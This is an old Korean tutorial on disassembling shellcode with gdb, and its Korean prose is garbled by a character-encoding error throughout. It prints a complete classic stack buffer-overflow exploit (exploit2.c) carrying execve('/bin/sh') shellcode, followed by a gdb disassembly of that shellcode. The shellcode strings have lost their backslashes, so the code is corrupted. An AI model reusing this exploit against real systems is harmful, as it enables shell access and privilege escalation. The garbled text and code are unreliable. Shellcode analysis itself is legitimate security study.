ÀÌ ±ÛÀº oprix°¡ ¾´ °Ì´Ï´Ù. Ãâó¿Í ±Û¾´À̸¦ °°ÀÌ ÀûÀ¸½Ã¸é ¾î´À °÷¿¡¼­³ª »ç¿ëÇϼŵµ µË´Ï´Ù. ½©ÄÚµå ºÐ¼® ¹öÆÛ ¿À¹öÇ÷ο찡 ¸¹Àº ÇØÅ·¿¡¼­ ¾²ÀÌ°í ÀÖ½À´Ï´Ù. ±×·±µ¥ Á¤ÀÛ ÇÁ·Î±×·¥ ¼Ò½º¸¦ ¾ò¾ú¾îµµ ½©ÄÚµå ºÎºÐÀº ¾î¶² ¿ªÇÒÀ» ÇÏ´ÂÁö Àß ¸ð¸¦ °Ì´Ï´Ù. ±â°è¾î·Î ¾²¿©Á® Àֱ⠶§¹®¿¡ ¾Ë¼ö°¡ ¾øÁö¿ä. ¿©±â¼­´Â ¿ªÀ¸·Î ½©ÄÚµå ¼Ò½º±îÁö ¾Ë¸®Áö´Â ¸øÇÏ°í ¾î¼Àºí·¯ ¼öÁرîÁö ¹ø¿ªÇØÁÖ´Â ¹æ¹ýÀ» Àû¾ú½À´Ï´Ù. ¿¹¸¦ µé¾î ÀÌ·± ÇÁ·Î±×·¥ÀÌ ÀÖÀ» °æ¿ì /* exploit2.c */ #include < stdlib.h > #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89" "x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c" "xcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory. n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%xn", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = ''; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } exploit ¼Ò½º¿¡¼­ shellcode ºÎºÐÀ» ¹®ÀÚ¿­·Î ¸¸µé¾î¼­ ¾î¼Àºí¸®¾î ¹ø¿ªÀ» ½ÃÅ°´Â ¹æ¹ýÀ» ÀÌ¿ëÇÏ¸é µË´Ï´Ù. /* disas.c */ int main(void) { __asm__(" .string "xebx1fx5ex89x76x08x31xc0x88x46x07 x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c xcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff" "); /* ÆíÀÇ»ó ÁÙÀ» ³ª´©¾ú½À´Ï´Ù. ÇÑÁÙ¿¡ Äڵ带 ´Ù Àû¾Æ¾ß ÇÕ´Ï´Ù.*/ } $ gcc disas.c -o disas $ gdb disas GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048398 : pushl %ebp 0x8048399 < main+1>: movl %esp,%ebp 0x804839b < main+3>: jmp 0x80483bc 0x804839d < main+5>: popl %esi 0x804839e < main+6>: movl %esi,0x8(%esi) 0x80483a1 < main+9>: xorl %eax,%eax 0x80483a3 < main+11>: movb %al,0x7(%esi) 0x80483a6 < main+14>: movl %eax,0xc(%esi) 0x80483a9 < main+17>: movb $0xb,%al 0x80483ab < main+19>: movl %esi,%ebx 0x80483ad < main+21>: leal 0x8(%esi),%ecx 0x80483b0 < main+24>: leal 0xc(%esi),%edx 0x80483b3 < main+27>: int $0x80 0x80483b5 < main+29>: xorl %ebx,%ebx 0x80483b7 < main+31>: movl %ebx,%eax 0x80483b9 < main+33>: incl %eax 0x80483ba < main+34>: int $0x80 0x80483bc < main+36>: call 0x804839d 0x80483c1 < main+41>: addb %cl,%cl 0x80483c3 < main+43>: ret (gdb) x/wx main+3 0x804839b < main+3>: 0x895e1feb ÁÖÀÇ »çÇ× .strings ´ÙÀ½¿¡ Àý´ë x00ÀÌ ³ª¿À¸é ¾È µË´Ï´Ù. x00ÀÌ ³ª¿Ã ½Ã¿¡´Â x90 À¸·Î ¹Ù²Ù¾î ÁÖ½Ã°í °á°ú·Î ³ª¿Â ¾î¼Àºí¸®¾î¸¦ x00À¸·Î ³»¿ëÀ» °è»êÇؼ­ ÇØÁÖ¼¼¿ä. ÞÓðë: ÇÑ 2³â Àü Âë¿¡ ohhara ´ÔÀÌ amd-exploit À» ¸¸µå½Ã¸é¼­ shellcode¿¡ ÇÁ·Î±×·¥À» ÀÛµ¿½ÃÅ°¸é ohhara´Ô²² ¸ÞÀÏÀ» º¸³»´Â shellcode¸¦ ¼û°Ü ³õÀº ÀûÀÌ ÀÖ¾ú½À´Ï´Ù.^^ shellcode ºÐ¼® Çѹø Çغ¸¼¼¿ä. ¹°·Ð ¾î¼Àºí¸®¾î´Â ÇʼöÀÔ´Ï´Ù. ÀÌ ±ÛÀº oprix°¡ ¾´ °Ì´Ï´Ù. Ãâó(security.xmecca.com)¿Í ±Û¾´À̸¦ °°ÀÌ ÀûÀ¸½Ã¸é ¾î´À °÷¿¡¼­³ª »ç¿ëÇϼŵµ µË´Ï´Ù.